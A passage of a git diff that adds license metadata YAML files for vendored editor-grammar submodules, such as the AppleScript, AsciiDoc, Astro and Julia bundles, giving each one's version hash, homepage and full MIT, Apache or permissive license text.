+    ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+    ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/api-blueprint-sublime-plugin.dep.yml b/vendor/licenses/git_submodule/api-blueprint-sublime-plugin.dep.yml
new file mode 100644
index 0000000000..225883ff98
--- /dev/null
+++ b/vendor/licenses/git_submodule/api-blueprint-sublime-plugin.dep.yml
@@ -0,0 +1,34 @@
+---
+name: api-blueprint-sublime-plugin
+version: 0a90eff10e71a8f18974410307b3b86c71afb3ed
+type: git_submodule
+homepage: https://github.com/apiaryio/api-blueprint-sublime-plugin
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    (The MIT License)
+
+    Copyright (c) 2014 Apiary Inc. <support@apiary.io>.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    'Software'), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: MIT License. See the [LICENSE](LICENSE) file.
+notices: []
diff --git a/vendor/licenses/git_submodule/applescript.tmbundle.dep.yml b/vendor/licenses/git_submodule/applescript.tmbundle.dep.yml
new file mode 100644
index 0000000000..b4c07fb922
--- /dev/null
+++ b/vendor/licenses/git_submodule/applescript.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: applescript.tmbundle
+version: 4947cad7494eba084c21cfe04689b4efce96700f
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/asciidoc.tmbundle.dep.yml b/vendor/licenses/git_submodule/asciidoc.tmbundle.dep.yml
new file mode 100644
index 0000000000..bb6693fcab
--- /dev/null
+++ b/vendor/licenses/git_submodule/asciidoc.tmbundle.dep.yml
@@ -0,0 +1,33 @@
+---
+name: asciidoc.tmbundle
+version: 0c93369ddd920629bc97bf10e7270d8ec0d0463b
+type: git_submodule
+homepage: https://github.com/zuckschwerdt/asciidoc.tmbundle
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |+
+    The MIT License (MIT)
+
+    Copyright (c) 2008-2015 Christian W. Zuckschwerdt <zany@triq.net>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/asp.tmbundle.dep.yml b/vendor/licenses/git_submodule/asp.tmbundle.dep.yml
new file mode 100644
index 0000000000..3c50d3ea66
--- /dev/null
+++ b/vendor/licenses/git_submodule/asp.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: asp.tmbundle
+version: 144b21081aa53b8856f839aea68a724312f6001d
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/assembly.dep.yml b/vendor/licenses/git_submodule/assembly.dep.yml
new file mode 100644
index 0000000000..830a32bb9b
--- /dev/null
+++ b/vendor/licenses/git_submodule/assembly.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: assembly
+version: 0ef23e8619103e87a0a90df1b96c2567fbedf7f5
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2012-2014 Adam Strzelecki
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/astro.dep.yml b/vendor/licenses/git_submodule/astro.dep.yml
new file mode 100644
index 0000000000..a720d49d7c
--- /dev/null
+++ b/vendor/licenses/git_submodule/astro.dep.yml
@@ -0,0 +1,31 @@
+---
+name: astro
+version: af5bbc5f6b4f0a66113d7050a85824078ffaaeac
+type: git_submodule
+homepage: https://github.com/withastro/language-tools.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 The Astro Technology Company
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-editorconfig.dep.yml b/vendor/licenses/git_submodule/atom-editorconfig.dep.yml
new file mode 100644
index 0000000000..1fc6139db1
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-editorconfig.dep.yml
@@ -0,0 +1,47 @@
+---
+name: atom-editorconfig
+version: b5951387ac5e8fad7de6eec683436af1080badfa
+type: git_submodule
+homepage: https://github.com/sindresorhus/atom-editorconfig
+license: mit
+licenses:
+- sources: license
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: readme.md
+  text: |-
+    MIT © [Sindre Sorhus](https://sindresorhus.com)
+
+
+    <!-- Referenced links -->
+    [issues]: https://github.com/sindresorhus/atom-editorconfig/issues/new
+    [contributors]: https://github.com/sindresorhus/atom-editorconfig/graphs/contributors
+
+    <!-- Badges -->
+    [TravisCI-badge]: https://travis-ci.com/sindresorhus/atom-editorconfig.svg?branch=master
+    [TravisCI-link]:  https://travis-ci.com/sindresorhus/atom-editorconfig
+    [AppVeyor-badge]: https://ci.appveyor.com/api/projects/status/h0bav8m09ld9vga2?svg=true
+    [AppVeyor-link]:  https://ci.appveyor.com/project/Alhadis/atom-editorconfig
+    [APM-badge]:      https://img.shields.io/apm/v/editorconfig.svg?colorB=brightgreen
+    [APM-link]:       https://atom.io/packages/editorconfig
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-firestore-grammar.dep.yml b/vendor/licenses/git_submodule/atom-firestore-grammar.dep.yml
new file mode 100644
index 0000000000..20db3637ed
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-firestore-grammar.dep.yml
@@ -0,0 +1,33 @@
+---
+type: git_submodule
+name: atom-firestore-grammar
+version: 750ec2abef42f7061c6bcc29ed5db3b0a1f3f773
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    applies to:
+           - Grammar Rules, Copyright (c) 2017 Toba Technology
+           - Atom Plugin, Copyright (c) 2017 Jaysquared
+
+    Copyright (c) 2017 Jaysquared
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-fstar.dep.yml b/vendor/licenses/git_submodule/atom-fstar.dep.yml
new file mode 100644
index 0000000000..6722d9d6c5
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-fstar.dep.yml
@@ -0,0 +1,200 @@
+---
+name: atom-fstar
+version: '05592abc84201bf1c59fc7fa000c49c781980170'
+type: git_submodule
+homepage: https://github.com/FStarLang/atom-fstar
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       Copyright 2008-2014 Nikhil Swamy and Microsoft Research
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-1c-bsl.dep.yml b/vendor/licenses/git_submodule/atom-language-1c-bsl.dep.yml
new file mode 100644
index 0000000000..4b31f8c79b
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-1c-bsl.dep.yml
@@ -0,0 +1,35 @@
+---
+name: atom-language-1c-bsl
+version: 289454b53797ddc6fe193486c5a08310c214da7e
+type: git_submodule
+homepage: https://github.com/xDrivenDevelopment/atom-language-1c-bsl.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+    =====================
+
+    Copyright © 2015 xDrivenDevelopment
+
+    Permission is hereby granted, free of charge, to any person
+    obtaining a copy of this software and associated documentation
+    files (the “Software”), to deal in the Software without
+    restriction, including without limitation the rights to use,
+    copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-clean.dep.yml b/vendor/licenses/git_submodule/atom-language-clean.dep.yml
new file mode 100644
index 0000000000..8fa6fe6e2a
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-clean.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: atom-language-clean
+version: 82829c50aafb2d57423e3ec66c405e3eb9e97a02
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015 Tim Steenvoorden
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-haproxy.dep.yml b/vendor/licenses/git_submodule/atom-language-haproxy.dep.yml
new file mode 100644
index 0000000000..efc2420153
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-haproxy.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: atom-language-haproxy
+version: c7313aca269b63b3879502b3939a1c09c6182860
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 Alexander Bulimov
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-innosetup.dep.yml b/vendor/licenses/git_submodule/atom-language-innosetup.dep.yml
new file mode 100644
index 0000000000..4b766db030
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-innosetup.dep.yml
@@ -0,0 +1,21 @@
+---
+name: atom-language-innosetup
+version: 9997c32bb49054eb0eb2bf429249590b8990f7cd
+type: git_submodule
+homepage: https://github.com/idleberg/atom-language-innosetup
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015-2017 Jan T. Sott
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: This work is licensed under the [The MIT License](LICENSE.md).
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-julia.dep.yml b/vendor/licenses/git_submodule/atom-language-julia.dep.yml
new file mode 100644
index 0000000000..1e32db1718
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-julia.dep.yml
@@ -0,0 +1,32 @@
+---
+name: atom-language-julia
+version: 5790304e36664530dae4c0ebe90e51bdd8d23d87
+type: git_submodule
+homepage: https://github.com/JuliaEditorSupport/atom-language-julia
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The atom-language-julia package is licensed under the MIT "Expat" License:
+
+    > Copyright (c) 2015
+    >
+    > Permission is hereby granted, free of charge, to any person obtaining
+    > a copy of this software and associated documentation files (the
+    > "Software"), to deal in the Software without restriction, including
+    > without limitation the rights to use, copy, modify, merge, publish,
+    > distribute, sublicense, and/or sell copies of the Software, and to
+    > permit persons to whom the Software is furnished to do so, subject to
+    > the following conditions:
+    >
+    > The above copyright notice and this permission notice shall be
+    > included in all copies or substantial portions of the Software.
+    >
+    > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    > EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    > MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    > IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    > CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    > TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    > SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-nextflow.dep.yml b/vendor/licenses/git_submodule/atom-language-nextflow.dep.yml
new file mode 100644
index 0000000000..d2edacf024
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-nextflow.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: atom-language-nextflow
+version: 40387695d768dc7c9ab7b8594cd2c925fd254e47
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2018 Paolo Di Tommaso
+    Copyright (c) 2014-2017 Jakehp https://github.com/Jakehp/language-groovy
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
